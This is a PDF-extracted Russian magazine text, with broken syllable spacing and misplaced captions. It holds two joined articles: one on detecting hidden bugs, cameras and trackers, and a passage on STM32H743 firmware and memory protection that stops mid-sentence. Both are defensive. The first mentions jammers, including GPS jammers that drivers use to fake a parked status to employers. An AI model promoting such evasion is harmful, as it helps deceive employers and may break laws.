совер шенно  точ но  кто‐то  ког да‐то  за  тобой  сле дит.  Что бы  не  сой ти  с  ума,
нуж но скон цен три ровать ся на прак тичес ком под ходе к воп росу: ког да слеж ка
за мной может ока зать ся мне невыгод на, а кому‐то выгод на?

К сожале нию, если  ты занима ешь ся биз несом,  хоть сколь ко‐то зна менит
или работа ешь с ком мерчес кой тай ной, ты находишь ся в потен циаль ной зоне
рис ка. Сто ит упо мянуть и курь езные, но малоп рият ные исто рии про скры тые
камеры в   или в общес твен ных душевых, раз девал‐ 
ках,  туале тах.  Скры тая  камера,  сле дящая  за  кла виату рой  бан комата  (или
любого  дру гого  мес та,  где  вво дят  пароль  на  кла виату ре),  так же  может
облегчить жизнь зло умыш ленни кам.

съ емных квар тирах Airbnb

Так что пер вым делом при кинь, кто, зачем и как может дей ство вать про тив
тебя.  Воз можно,  в  некото рых  сце нари ях  ата ки  исполь зование  гад жетов
и вправ ду ока жет ся прак тичным. Нап ример, если кто‐то хочет сле дить за тво‐ 
ими перед вижени ями, то в его рас поряже нии раз ные спо собы — нанять час‐ 
тных детек тивов или получить дос туп  к дан ным про вай деров и сотовых опе‐ 
рато ров.  Но  исполь зовать  GPS‐тре кер  может  ока зать ся  дешев ле,  про ще
и удоб нее.

Проб лемы выбора
Ес ли вдруг пос ле проч тения этой статьи тебе захоте лось почувс тво вать себя
супер шпи оном,  то  незави симо  от  того,  есть  ли  у  тебя  дур ные  намере ния,
или ты прос то хочешь раз влечь ся, очень не совету ем. В Рос сий ской Федера‐ 
ции  сущес тву ют  законы,  которые  зап реща ют  про давать  и  покупать  устрой‐ 
ства,  пред назна чен ные  для  тай ного  сбо ра  информа ции.  Фор мулиров ки
в законе раз мытые, а прак тика пра воп римене ния вклю чает в себя нас толь ко
сом нитель ные исто рии, что Вер ховный суд даже выпус тил спе циаль ное 

, как не допус кать зло упот ребле ния законо датель ством.
разъ‐ 

ясне ние

Пос ле  это го  опре дели,  в  какой  зоне  наруше ние  информа цион ной безопас‐ 
ности будет дей стви тель но кри тич ным, что бы сос редото чить ся на ее защите
и не тра тить чрез мерно мно го сил и ресур сов. Защитить все от все го невоз‐ 
можно  и  не  нуж но,  вмес то  это го  сто ит  защищать  дей стви тель но  важ ное.
Перего вор ную  ком нату  совета  дирек торов  или  зону,  в  которой  работа ют
над кри тич но важ ным про ектом, нап ример. Или прос то кла дов ку, в которой ты
хра нишь  неч то,  что  не  дол жно  попадать ся  на  гла за  людям,  которые  тебя
не любят.

Не  забывай,  что один из  важ ней ших  инс тру мен тов  хакера — соци аль ная
инже нерия.  Так  что  нуж но  защищать ся  и  от  нее.  Если  уж  ты  опре делил ся
со  сво им  «защищен ным  перимет ром»,  то  позаботь ся  о  том,  что бы  люди,
в него допущен ные,  тоже были ком петен тны и заин тересо ваны в под держа‐ 
нии  безопас ности.  Пом ни,  что  ник то  не  обра щает  вни мания  на  убор щиков
и  ремон тни ков  —  им  лег че  лег кого  уста новить  скры тое  устрой ство.  Но  и
абсо лют но  лояль ный,  но  безала бер ный  кол лега  может  прос то  не  заметить,
что кто‐то под ложил ему в сум ку или кар ман гад жет‐шпи он.

ОТ ТЕОРИИ К ПРАКТИКЕ
Та кое  вступ ление  перед  обсужде нием  тех ничес ких  воп росов  было  необ‐ 
ходимо, потому что про тив некото рого лома нет при ема, кро ме пре дус мотри‐ 
тель нос ти.

Сов ремен ный  жучок‐мик рофон  может  быть  раз мером  мень ше  флеш ки,
и если он прос то записы вает информа цию, пока лежит у кого‐то в кар мане, то
его мож но обна ружить раз ве что высоко чувс тви тель ным детек тором на близ‐ 
кой дис танции. Он может выг лядеть как угод но. Так что защищать ся от него
нуж но в пер вую оче редь нетех ничес кими метода ми.

Пом ни, что у любого шпи онско го устрой ства есть силь ные и сла бые сто‐ 
роны. Так, у мик рофона при всей его необ наружи мос ти есть две очень важ‐ 
ные сла бые сто роны. Во‐пер вых, батарея: как бы она ни была хороша, даже
если  устрой ство  акти виру ется,  толь ко  ког да  есть  звук,  а  осталь ное  вре мя
находит ся в спя щем режиме — рано или поз дно она сядет.

И тут про явит ся и вто рая сла бая сто рона: если у устрой ства нет передат‐ 
чика, то его при дет ся не толь ко под ложить, но и заб рать. А если его до это го
успе ют обна ружить, то все ста рания внед рить жуч ка ока зыва ются нап расны‐ 
ми, никакой информа ции получить не удас тся.

Вот так может выг лядеть мик рофон более‐менее серь езно го жуч ка, а его
более скром ный товарищ с Aliexpress, ско рее все го, будет прос то похож
на флеш ку

Схо жим  обра зом  дело  обсто ит  и  с  виде ока мера ми.  Они  тоже  могут  быть
очень  ком пак тны ми  и  хорошо  замас кирован ными  —  вплоть  до  камеры
в бутыл ке с водой. Но у них боль ше сла бос тей, чем у мик рофонов, — вре мя
работы  от  акку муля тора  мень ше,  и  обя затель но  при сутс тву ет  лин за.  Она
может быть очень малень кой, но все рав но будет хоть нем ного, но бли ковать,
если на нее попадет свет.

Есть  спе циаль ные  при боры‐детек торы,  которые  обна ружи вают  подоз‐ 
ритель ные бли ки, но мож но поп робовать поис кать камеру и с помощью обыч‐ 
ного  фонари ка.  Чем  мень ше  осталь ного  све та,  тем  луч ше  —  бли ки  будут
замет нее.

INFO

За гово рив  о  спе циаль ных  при борах‐детек торах,
упо мянем  важ ную  проб лему  рын ка  устрой ств
для  скрыт ного  получе ния  информа ции  и  их
разоб лачения.  Заин тересо вав шись  ими,  ты  ока‐ 
зыва ешь ся  меж ду  двух  огней:  Aliexpress  с  его
пред ложени ями супер дешевых и суперин новаци‐ 
онных  гад жетов  и  спе циали зиро ван ные  магази‐ 
ны,  пред лага ющие  устрой ства  от  изго тови телей
с  опы том  в  мно го  десяти летий.  Обыч но  рек‐ 
ламиру ется  повышен ная  чувс тви тель ность  и  в
целом  заш калива ющая  кру тость.  Но  ник то
не гаран тиру ет, что устрой ство в сто раз дороже
ока жет ся в сто раз луч ше.

Объ ектив pinhole‐камеры с Aliexpress. Уста новить ее основную часть —
задача не из эле мен тарных

Об наружи вать жуч ки нем ного про ще, если их опе ратор тоже хочет облегчить
себе жизнь. Сов ремен ные тех нологии сде лали впол не дос тупны ми и устрой‐ 
ства,  которые  переда ют  дан ные  в  реаль ном  вре мени.  Но  законы  физики
не  обой ти:  если  они  что‐то  переда ют,  то  мож но  обна ружить  или  заг лушить
канал переда чи.

Са мый  обыч ный  канал  переда чи  —  ради одиапа зон,  то  есть  Wi‐Fi
или  сотовые  сети.  Либо  жучок  исполь зует  уже  дос тупный  Wi‐Fi  (нап ример,
гос тевую  сеть),  либо  где‐то  рядом  для  него  будет  орга низо вана  точ ка  дос‐ 
тупа — обра ти вни мание на нез накомые и мощ ные раз дачи сиг нала рядом.
Если к тво им трем при выч ным соседям вдруг добави лась новая сеть Wi‐Fi —
воз можно, там‐то и засели зло деи.

Впро чем,  с боль шой  веро ятностью  устрой ство будет  переда вать дан ные
через сотовые сети — и здесь его помогут обна ружить детек торы ради осиг‐ 
нала. Но поль зовать ся ими нуж но с умом. А имен но — отклю чить все устрой‐ 
ства, которые исполь зуют бес про вод ные сети, что бы было мень ше пос торон‐ 
них  сиг налов  и  боль ше  шанс  обна ружить  спря тан ного  шпи она.  Затем  зай‐ 
мись методич ным поис ком. Ожи дать, что ты прос то наж мешь кноп ку и гад жет
тут же рас кро ет тебе все сок рытое, нес коль ко наив но.

Как выбирать детек тор
От  мощ ного  раз бро са  цен  и  оби лия  рек ламы  при  выборе  детек тора  могут
начать  раз бегать ся  гла за.  Ста рай ся  вни матель но  смот реть,  что  берешь,
и изу чай преж де все го тех ничес кие харак терис тики.

Нап ример, вот этот детек тор сто ит 90 дол ларов и обе щает час тотный диапа‐ 
зон  от  1  до  6500 МГц,  име ет  вынос ную  антенну  и  лазер  для  выс вечива ния
камер. Для  любитель ско го  устрой ства  это  неп лохие  показа тели  и  при емле‐ 
мая цена.

Ме тоди ка  работы  с  детек тором  прин ципи аль но  не  отли чает ся  от  методи ки
прос того осмотра. Обра щай вни мание на подоз ритель ные приз наки: царапи‐ 
ны,  стран ные  отвер стия,  загадоч ные  пред меты.  Поп робуй  пос тавить  себя
на  мес то  зло умыш ленни ка  и  про верь  мес та,  где  ты  бы  сам  что‐то  спря тал.
Час то жуч ки помеща ют в пред меты осве щения или розет ки — там мож но вдо‐ 
бавок и бес перебой ное питание устрой ству орга низо вать. Ясное дело, если
видишь какие‐то непонят ные про вода — про верь, куда они ведут.

И  уж  само  собой  разуме ется  —  не  поз воляй  кому  попало  совать  что
попало в USB‐пор ты сис тем, которые тебе дороги. Этот совет слег ка выходит
за рам ки статьи, потому что, получив дос туп к USB, мож но уже и не огра ничи‐ 
вать ся слеж кой на таком уров не. Но все‐таки сто ит упо мянуть, что 

  мож но  умес тить  мик рофон  и  сотовую  антенну  для  переда чи
информа ции.

в обыч ном
USB‐про воде

ЭКЗОТИКА И ЭЗОТЕРИКА
Что  ж,  основные  прин ципы  понят ны —  но  на  слу чай,  если  твой  инте рес  (и
паранойя)  от  них  толь ко  раз горел ся,  упо мянем  еще  пару  инте рес ных 
устройств.

Во‐пер вых,  это  нап равлен ные  мик рофоны.  Стро го  говоря,  это  не  жуч ки,
но эффект они могут дать схо жий. Нап равлен ный мик рофон может быть прос‐ 
то  акус тичес ким,  с  парабо личес ким  резона тором  —  такое  тех нологи чес ки
прод винутое  «ухо»  дос тупно  любому  жела юще му,  нап ример,  нас ладить ся
пени ем птиц, не пот ревожив их приб лижени ем. Само собой, от него защища‐ 
ют сте ны — но, если  ты решил обсу дить биз нес‐пла ны с  кол легами на при‐ 
роде, луч ше вспом ни об этом устрой стве.

Па рабо личес кий мик рофон — сто имость удо воль ствия все го 30–40 дол ‐
ларов

С  нап равлен ным  мик рофоном,  в  прин ципе,  мож но  срав нить  лазер ный  мик‐ 
рофон  —  он  тоже  нуж дает ся  в  пря мой  «линии  слу ха»  до  объ екта,  которая
может быть доволь но длин ной. Но лазер ный мик рофон, наобо рот, поз воля ет
под слу шать, о чем говорят в зак рытой ком нате. Невиди мый лазер ный луч счи‐ 
тыва ет виб рации окон ных сте кол (а по некото рым анек дотичес ким дан ным —
может счи тать их и со ста кана на сто ле) и по ним вос ста нав лива ет звук.

Но  не  спе ши  нап рягать ся:  лазер ные  мик рофоны  сто ят  дей стви тель но
дорого,  десят ки  тысяч  дол ларов,  и  нуж дают ся  в  очень  про фес сиональ ном
опе рато ре. А если до тебя решат доб рать ся спец служ бы, у них и без того хва‐ 
тает инс тру мен тов.

Но  если  тебя  очень  манят  дорогие  игрушки,  обра ти  вни мание  на  шту ку
под наз вани ем «нелиней ный локатор»  (nonlinear  junction detector). Она излу‐ 
чает  высоко час тотные ради овол ны,  которые,  встре тив на  сво ем пути  любую
полуп ровод никовую  элек тро нику,  воз вра щают ся  отра жен ными  осо бым,  гар‐ 
монизи рован ным обра зом. Это поз воля ет обна ружи вать даже не под клю чен‐ 
ную  к  источни ку  питания  элек тро нику,  вклю чая  флеш ки  и  SIM‐кар ты.  Но,
во‐пер вых, из‐за такой высокой чувс тви тель нос ти при бор скло нен к лож ным
сра баты вани ям, а во‐вто рых, цена на такие устрой ства изме ряет ся тысяча ми
дол ларов.

Дос мотро вый нелиней ный локатор эко ном‐клас са — все го 260 тысяч
руб лей, и он твой

На конец,  если  ты  дума ешь,  что  все же мог  что‐то  упус тить,  и  счи таешь,  что
твои  вол нения  име ют  под  собой  поч ву,  то  исполь зуй  глу шение. Мож но  глу‐ 
шить  зву коза пись,  исполь зуя  дорогие  генера торы  уль траз вуково го  белого
шума,  а  мож но  и  прос то  пошеп тать ся  в  мес те,  где  хва тает  допол нитель ных
источни ков  зву ка  (впро чем,  сущес тву ют  опять  же  дорогос тоящие  зву коза‐ 
писы вающие  устрой ства,  про изво дите ли  которых  рас хва лива ют  их  спо соб‐ 
ности к шумопо дав лению).

Хва тает  на  рын ке  и  «глу шилок»  бес про вод ных  сетей  и  GPS‐тре керов —
при чем  пос ледние  быва ют  с  допол нитель ной  фун кци ей  ими тации  непод‐ 
вижнос ти. Этим могут, нап ример, поль зовать ся водите ли, за которы ми сле дят
их работо дате ли, что бы уйти с мар шру та под видом сто янки.

Прод винутый генера тор уль траз вуково го шума для глу шения зву коза ‐
писи, 900 дол ларов на Amazon

А  вот  виде ока меру  тем нотой  не  заг лушить — инфрак расная  под свет ка  хоть
и не прев раща ет ночь в день, но все рав но поз воля ет видеть в тем ноте. Зато
имен но по ее све ту скры тые камеры ста новит ся еще лег че обна ружить.

Пор татив ная глу шил ка мобиль ной свя зи в иро нич ном форм‐фак торе —
как говорит ся, для важ ных перего воров

Впро чем,  на  рын ке  хва тает  фирм,  которые  пре дос тавля ют  услу ги  про верок
такого  рода.  Если  подоб ные  опас ности  вол нуют  тебя  всерь ез  —  обра тись
к  ним  и  под пиши  пос тоян ный  кон тракт.  Регуляр ные  про вер ки —  это  допол‐ 
нитель ный плюс к сис теме безопас ности.

ВЫВОДЫ
Под ведем ито ги. Устрой ства скры того наб людения — впол не реаль ная угро‐ 
за  безопас ности,  но  ско рее  нишевая.  Такие  устрой ства  есть  смысл  при‐ 
менять толь ко там, где они могут при нес ти реаль ный улов, — а в сов ремен‐ 
ном мире нас тоящие сок ровища гораз до чаще лежат на сер верах, а не в сей‐ 
фах.

Воп росы защиты от жуч ков тес но смы кают ся с пов седнев ными прак тиками
информа цион ной  безопас ности  в физичес кой  реаль нос ти —  теми,  которые
при зыва ют не писать пароли на бумаж ках, не встав лять сом нитель ные флеш‐ 
ки и не оставлять ноут буки и смар тфо ны без прис мотра.

Ес ли  ты  серь езно  подоз рева ешь,  что  про тив  тебя  могут  исполь зовать
такие методы, то у тебя есть неп лохие шан сы вычис лить про тив ника‐любите‐ 
ля. Но,  как и с любыми дру гими метода ми ата ки и защиты, всег да есть воз‐ 
можность  под нять  став ки  и  при менить  сущес твен но  более  дорогие  и  слож‐ 
ные методы. Воп рос лишь в том, нас коль ко это оправдан но. Если счи таешь,
что оправдан но, — ищи про фес сиона лов с их инс тру мен тами.

И  самый  глав ный  совет:  если  в  съем ной  квар тире  на  Airbnb  ты  най дешь
скры тую камеру, не забудь сооб щить адми нис тра ции сер виса как мож но ско‐ 
рее — есть шанс не толь ко вер нуть день ги, но и вмес то неуют ной квар тиры
с жуч ками про вес ти отпуск в дорогом оте ле.

mailto:zinik.alexander@gmail.com
https://tjournal.ru/travel/85140-v-domah-s-airbnb-snova-nahodyat-skrytye-kamery-videonablyudeniya-ih-pryachut-v-detektorah-dyma-i-gadzhetah
https://journal.tinkoff.ru/ask/antiali-otvet/
https://xakep.ru/2018/05/18/usb-snitch-s8-data-line-locator/
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ВЗЛОМ

Ас тро логи  про воз гла сили  десяти летие  атак  на  устрой ства
IoT.  Новые  угро зы  тре буют  ком плексно го  под хода,  поэто му
безопас ностью  встра иваемых  сис тем  сегод ня  оза боче ны
не  толь ко  их  раз работ чики,  но  и  про изво дите ли  железа.
Сегод ня  я  на  при мере  отла доч ной  пла ты  Nucleo
с STM32H743 рас ска жу, какие век торы ата ки сто ит рас смат‐ 
ривать  в  пер вую  оче редь  и  как  мож но  защитить  про шив ку
и кон фиден циаль ные дан ные.

Бе зум ная иллю мина ция в сти ле   или новый аль бом груп‐ 
пы Rammstein из колонок в полови не пятого утра — это все милые шалос ти
по срав нению с тем, к каким пос ледс тви ям может при вес ти 

 или носимых медицин ских устрой ств.

Жа на Мишеля Жар ра

взлом авто мати‐ 
чес ких кор мушек для питом цев

Об новле ния  «по  воз духу»  и  мно гочис ленные  отла доч ные  интерфей сы
умных устрой ств могут ока зать ся серь езной дырой в безопас ности,  которая
поз волит  опыт ному  зло умыш ленни ку  под менить  завод скую  про шив ку  сво ей
собс твен ной,  —  не  говоря  уж  о  баналь ной  кра же  чужой  интеллек туаль ной
собс твен ности. Глу пый, глу пый сов ремен ный IoT!

ДЛЯ ЧЕГО НУЖЕН SECURE BOOT
В  общем  слу чае  раз работ чику,  который  хочет  защитить  свое  устрой ство,
пред сто ит решить две клю чевые задачи.

В  пер вую  оче редь  сле дует  реали зовать  механизм  под твержде ния  под‐ 
линнос ти про шив ки (аутен тифика ции). Для это го исполь зуют ся раз личные
крип тогра фичес кие  алго рит мы  (нап ример,  SHA‐256  и  NIST  P256).  Они
поз воля ют  убе дить ся,  что  на  устрой стве  будет  исполнять ся  толь ко
доверен ный код.

•

Кро ме того, необ ходимо защитить память от внеш них атак и лишить зло‐ 
умыш ленни ка дос тупа к кри тич ным реги онам, который он может в теории
получить с помощью уяз вимос тей ПО либо при исполь зовании отла доч ных
интерфей сов (нап ример, JTAG) или логичес кого ана лиза тора.

•

Итак,  это  два  раз ных  механиз ма  защиты  и  прес леду ют  они  раз ные  цели,
но  толь ко  их  сов мес тное  при мене ние  поз воля ет  эффектив но  бороть ся
с  угро зами.  Ины ми  сло вами,  даже  самые  совер шенные  крип тогра фичес кие
алго рит мы  ока жут ся  бес полез ными,  если  хакер  может  получить  рас шифро‐ 
ван ный дамп про шив ки. И наобо рот, защищен ная от счи тыва ния память никак
не пре дот вра тит заг рузку прог раммы с вре донос ным кодом.

КАК ЭТО РАБОТАЕТ
Се год ня самый прос той спо соб обно вить про шив ку устрой ства (SFU, Secure
Firmware  Update)  —  это  отпра вить  ему  све жую  вер сию  уда лен но,  «по  воз‐ 
духу». Таким обра зом, мы хра ним на сер вере и рас простра няем уже зашиф‐ 
рован ный бинар ник,  который кли ент может ска чать, под твер дить его целос‐ 
тность, аутен тифици ровать, рас шифро вать и, наконец, уста новить.

Ба зовую безопас ность при этом обес печива ют сле дующие меры: во‐пер вых,
исклю чает ся воз можность аль тер натив ных методов заг рузки. Для это го при‐ 
меня ется  под твержден ный  Secure  Boot,  который  фор миру ет  root  of  trust
в нашей сис теме. Во‐вто рых, при ват ные клю чи шиф рования дол жны хра нить‐ 
ся в про шив ке устрой ства и быть инди виду аль ными.

Кро ме того, кон крет ную реали зацию крип тогра фичес кого алго рит ма сле дует
про верять  на  устой чивость  к  АВК  (ата ка  по  вто рос тепен ным  каналам,  side‐
channel attack) или АМИС (ата ка методом инду циро ван ных сбо ев,  fault  injec‐
tion attack). К это му мы еще вер немся.

INFO

Под робнее об АВК читай в нашем матери але «

».  А  про  АМИС  на  Ze‐
roNights 2019 рас ска зывал LimitedResults, статью
по мотивам док лада тоже можешь почитать у нас:
«

».

Ап‐ 
парат ный  CTF.  Лег кий  спо соб  узнать  ключ  шиф‐ 
рования  устрой ства,  ког да  у  тебя  под  рукой
осциллог раф  и  ноут бук

Взла мыва ем ESP32 раз и нав сегда. Извле чение
клю чей  флеш‐шиф рования  и  безопас ной  заг‐ 
рузки

На конец, сле дует оза ботить ся защитой от нежела тель ного внеш него дос тупа.
К  счастью,  мно гие  раз работ чики  уже  научи лись  отклю чать  JTAG  —  самый
желан ный  подарок  для  зло умыш ленни ка.  Одна ко  про изво дите ли  не  сто ят
на  мес те  и  пред лага ют  сегод ня  допол нитель ные  средс тва  обна ружить  воз‐ 
дей ствие,  такие  как  Anti‐Tamper.  Ими  поль зуют ся  пока  не  так  час то,
как хотелось бы.

АППАРАТНЫЕ СРЕДСТВА
Пос мотрим  теперь,  как  выг лядит  при мене ние  подоб ных  рекомен даций
на прак тике, для линей ки мик рокон трол леров STM32.

WWW

Сто ит  заметить,  что  набор  дос тупных  средств
защиты зависит от кон крет ного семей ства МК (F,
G,  L  и H). Демонс тра цион ные  при меры  в  пакете
X‐CUBE‐SBSFU  охва тыва ют  боль шую  часть
из  это го  набора,  но  за  пол ной  информа цией
в  любом  слу чае  сле дует  обра щать ся  к  докумен‐ 
тации. Кон крет но сегод ня нас инте ресу ют:

  —  клю чевой  матери ал  о  безопас ности
мик рокон трол леров STM32;

•AN5156

 — руководс тво  по фрей мвор ку SBSFU
в пакете XCUBE;

•UM2262

  —  апно ут  для  MPU  (Memory  Protection
Unit);

•AN4838

  —  ману ал  по  механиз мам  защиты
для ядра Cortex‐M7;

•PM0253

 — даташит на МК H743;•DS12110
 — референс на МК H743.•RM0443

Все ссыл ки — на PDF.

За щита от чте ния, RDP
Это  базовый  механизм  безопас ности,  который  пре дот вра щает  дос туп
к  содер жимому  памяти мик рокон трол лера  раз личны ми  отла доч ными  средс‐ 
тва ми  (JTAG,  SWV  и  ETM).  Его  при мене ние  рекомен дует ся  во  всех  слу чаях
на готовых серий ных устрой ствах. Отклю чение RDP воз можно толь ко для пер‐ 
вого  уров ня  защиты  и  при водит  к  сти ранию  содер жимого  флеш‐памяти.
Вклю чение вто рого уров ня — необ ратимая опе рация для мик росхе мы.

Те оре тичес ки все это может осложнить сер висное обслу жива ние и поиск
при чины  неис прав ности  воз вра щен ного  поль зовате лем  обо рудо вания.
Одна ко,  так  как  само при ложе ние  все рав но  сох раня ет  спо соб ность  писать
в  пос тоян ную  память  и  изме нять  ее,  воз можность  обновле ний  про шив ки  (в
том чис ле с помощью SFU) оста ется. При вклю чен ном RDP попыт ка дос тупа
к защищен ному учас тку памяти при водит к генера ции ошиб ки на шине AHB.

На  H743  за  эту  фун кцию  отве чают  биты  RDP    в  паре  регис тров
 и   из области Option Bytes. При этом зна‐ 

чение   соот ветс тву ет нулево му уров ню защиты (по умол чанию), зна чение
 — пер вому, а любое дру гое — вто рому (мак сималь ному) уров ню.

[15:8]
FLASH_OPTSR_CUR FLASH_OPTSR_PRG
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Фор маль но на диаг раммах STMicroelectronics Op‐
tion  Bytes  отно сят ся  к  внут ренней флеш‐памяти,
одна ко  непос редс твен ный  дос туп  к  ним  невоз‐ 
можен.  Для  вза имо дей ствия  и  вне сения  изме‐ 
нений  поль зовате лю  нуж но  обра щать ся  к  регис‐ 
трам и сле довать опре делен ной про цеду ре (под‐ 
робнее см. раз дел Option Bytes Modification на с.
157 RM0433).

За щита от записи, WRP
Эта  мера  безопас ности  допол няет  RDP  и  нап равле на  не  толь ко  на  защиту
содер жимого флеш‐памяти  от  внеш них  угроз  (инъ екция  вре донос ного  кода
и пос леду ющее его исполне ние), но и от оши боч ного выхода за гра ницы мас‐ 
сивов  и  перепол нения  буферов  в  поль зователь ских  фун кци ях.  Прос тая
в исполь зовании, WRP так же рекомен дует ся про изво дите лем в самых раз ных
ситу ациях.

Гиб кость это го механиз ма поз воля ет  защищать от  записи  как отдель ные
стра ницы,  так  и  целые  сек тора  памяти  (под робнее  см.  в  докумен тации).
Допол нитель но  перед  вклю чени ем WRP  мож но  запол нить  сво бод ное  прос‐ 
транс тво инс трук циями NOP или WFI — лиш ним это точ но не будет.

На  H743  поль зовате лю  дос тупны  2  Мбайт  флеш‐памяти,  которые  раз‐ 
делены  на  два  бан ка  (по  адре сам   —    и 

 —    соот ветс твен но).  Каж дый  банк,  в  свою  оче редь,  раз‐ 
делен  на  восемь  сек торов  по  128  Кбайт.  За  фун кцию  WRP  отве чают  биты 

 в регис трах  .

0x0800  0000 0x080F  FFFF 0x0810 
0000 0x081F  FFFF

[7:0] FLASH_WPSN_XX

Толь ко исполне ние, PCROP
Наз вание это го аппа рат ного механиз ма может вво дить в заб лужде ние. Дей‐ 
стви тель но,  пер вая  часть  зас тавля ет  вспом нить  о  Program  Counter,  тог да
как вто рая — ReadOut Protection — как буд то  уже встре чалась и непонят но,
чем отли чает ся от рас смот ренно го выше RDP.

На самом деле Proprietary Code ReadOut Protection выпол няет схо жие фун‐ 
кции, но если RDP бло киро вал несан кци они рован ный дос туп к памяти через
отла доч ные интерфей сы мик рокон трол леров, то PCROP защища ет от более
изощ ренных  атак,  нацелен ных  на  кра жу  самой  про шив ки  устрой ства  через
исполь зование уяз вимос тей или оши бок в ПО.

По метив  с  помощью  регис тров    диапа зон  адре сов
во флеш‐памяти фла гом «толь ко исполне ние», раз работ чик может защитить
интеллек туаль ную собс твен ность сво ей ком пании (готовые биб лиоте ки и кус‐ 
ки кода) от копиро вания и обратной раз работ ки. Содер жимое флеш‐памяти
из такой области будет подавать ся исклю читель но на шину инс трук ций про‐ 
цес сора.

FLASH_PRAR_PRGX

К  сожале нию,  исполь зование  такой  тех нологии  на  прак тике  ведет  к  гра‐ 
нуля ции  внут ренней  памяти:  так,  на  нашей  мик росхе ме  H743  под  PCROP
в каж дом бан ке памяти может быть выделе на толь ко одна область  (ито го —
не более двух на мик росхе му). При этом область дол жна быть крат на раз меру
бло ка (256 байт) и выров нена по соот ветс тву ющей гра нице.

Бе зопас ный дос туп, SAO
По жалуй, это одна из самых инте рес ных фун кций защиты памяти на STM32.
Нас толь ко инте рес ная, что про изво дитель даже тол ком не смог опре делить ся
с ее наз вани ем: где‐то в докумен тации она обоз начена как Secure User Mem‐
ory  (AN5156),  где‐то  —  как  Secure  Access  Only  (RM0443).  А  для  серии
G0/G4 это вооб ще Securable Area!

Ес ли  корот ко  —  область  памяти  с  безопас ным  дос тупом  исполь зует ся
для соз дания уни фици рован ного метода заг рузки сра зу пос ле сиг нала сбро‐ 
са.  Такой  код  обла дает  исклю читель ными  пра вами  на  чте ние,  запись
и исполне ние в задан ном диапа зоне адре сов. Изо ляция от осталь ной час ти
прог раммы про исхо дит при этом на аппа рат ном уров не.

SAO на STM32 пред назна чена в пер вую оче редь для раз мещения Secure
Boot и фор мирова ния цепоч ки доверия в сис теме. Имен но здесь сто ит хра‐ 
нить свои клю чи и алго рит мы шиф рования для про вер ки целос тнос ти и аутен‐ 
тифика ции  обра за  основной  про шив ки  перед  переда чей  управле ния
в  основную  прог рамму.  Как  и  для  осталь ных  механиз мов  защиты,  за  раз‐ 
мещение SAO во фле ше отве чают регис тры в Option Bytes: 
и  .

FLASH_SCAR_CURX
FLASH_SCAR_PRGX

WARNING

Ра ботая  с  сери ей  H7,  не  сле дует  путать
флеш‐память  с  безопас ным  дос тупом  (Secure)
и  сис темную память  (System). Пос ледняя  всег да
находит ся  нес коль ко  «сбо ку»  от  основно го  мас‐ 
сива памяти (адре са с   по 

).  На  всех  схе мах  от  STMicroelectronics
область  сис темной  памяти  в  пер вом  бан ке
(которая слу жит для хра нения кода DFU‐заг рузчи‐ 
ка)  помече на  как  Secure.  Одна ко  ана логич ный
сво бод ный  сек тор  во  вто ром  бан ке  хоть  и  сис‐ 
темный, но небезо пас ный  (по  умол чанию)! Кста‐ 
ти,  фак тичес ки,  это  «лиш ние»  128  Кбайт,
на которые ты всег да можешь рас счи тывать.

0x1FF0 0000 0x1FF5
0000

Блок защиты памяти, MPU
Рас смот ренные  механиз мы  безопас ности  обла дают  одним  общим  свой‐ 
ством: все они ста тич ные, то есть жес тко заданы на момент выпол нения прог‐ 
раммы.  Само  по  себе  это  нель зя  отнести  к  недос таткам,  одна ко  исполь‐ 
зование  в  слож ном про екте опе раци онной  сис темы с  нес коль кими про цес‐ 
сами  неиз бежно  порож дает  необ ходимость  динами чес кого  рас пре деле ния
прав дос тупа к тем или иным областям памяти. За это и отве чает MPU (Memo‐
ry Protection Unit).

Блок  защиты  памяти  отно сит ся  к  воз можнос тям  самого  про цес сорно го
ядра, в нашем слу чае — Cortex‐M7 (сто ит заметить, что из всей линей ки ARM
Cortex‐M лишь семей ство M0 лишено MPU). Из это го вытека ют сле дующие,
впол не  логич ные  рас сужде ния:  MPU  спо собен  кон тро лиро вать  дос туп
к любому ком понен ту,  так или ина че отоб ражен ному в адресное прос транс‐ 
тво про цес сора. Таким обра зом, мы можем исполь зовать этот блок не толь ко
для  оче вид ных  вещей,  вро де  обес печения  безопас ности  ОЗУ
и  флеш‐памяти,  но  и  для  огра ниче ния  прав  на  перифе рию:  интерфей сы,
регис тры, что угод но.

Вто рое важ ное наб людение: MPU кон тро лиру ет CPU, но никак не DMA (Di‐
rect  Memory  Access,  пря мой  дос туп  к  памяти).  А  ведь  они  тоже  могут  быть
ведущи ми на внут ренних шинах мик рокон трол лера! К счастью, воз можнос ти
DMA по срав нению с CPU силь но огра ниче ны. За исклю чени ем, может быть,
спе циали зиро ван ного DMA2D (Chrom‐ART). Сущес тву ет ли на све те при мер
с  экс плу ата цией  DMA2D  для  обхо да  MPU  и  ком про мета ции  реаль ного
устрой ства? Я не знаю, но дорого бы дал за то, что бы взгля нуть на подоб ное!
:)

На конец, следс твие третье: докумен тацию на блок защиты памяти сле дует
искать никак не в референ се (и уж точ но не в даташи те) на мик рокон трол лер.
Тут пря мая дорога к руководс тву PM0253 на само ядро. Если рань ше ты обхо‐ 
дил этот матери ал сто роной («Ну он же для сис темных прог раммис тов и раз‐ 
работ чиков  ком пилято ров!»),  то  теперь  при дет ся  читать,  ничего  не  подела‐ 
ешь. Ну и конеч но, сам апно ут AN4838 по при мене нию MPU тоже нуж но знать.

Об наруже ние воз дей ствия, Anti-Tamper
Сле дующий механизм защиты работа ет тоже в динами ке, но уже не на уров не
самого мик рокон трол лера или его ядра, а на уров не готово го, закон ченно го
устрой ства.  У  раз работ чика  есть  воз можность  исполь зовать  спе циали зиро‐ 
ван ные выводы мик росхе мы, объ еди нен ные с областью малопот ребля ющей
перифе рии  (часы реаль ного вре мени и резер вная SRAM), для обна руже ния
попыток  несан кци они рован ного  дос тупа  к  устрой ству.  Нап ример,  вскры тие
кор пуса или ано маль но силь ное воз дей ствие  («тяжелым  тупым пред метом»,
как это пишут в полицей ских отче тах).

Как ты навер няка уже зна ешь, на мик рокон трол лере H743 есть три области
(domains), раз делен ные по быс тро дей ствию и энер гопот ребле нию. В D1 рас‐ 
положе но  само  ядро  Cortex‐M7,  боль шая  часть  внут ренней  SRAM  и  самая
ско рос тная перифе рия: FMC, LTDC, QSPI и про чее. В D2 работа ют стан дар‐ 
тные интерфей сы: ETH, USB и MMC. А вот в D3 раз мещена та самая малопот‐ 
ребля ющая  перифе рия,  которая  сох раня ет  свою  работос пособ ность  даже
при батарей ном питании.

Та ким  обра зом,  исполь зуя  выводы  Anti‐Tamper  МК,  мы  можем  зафик‐ 
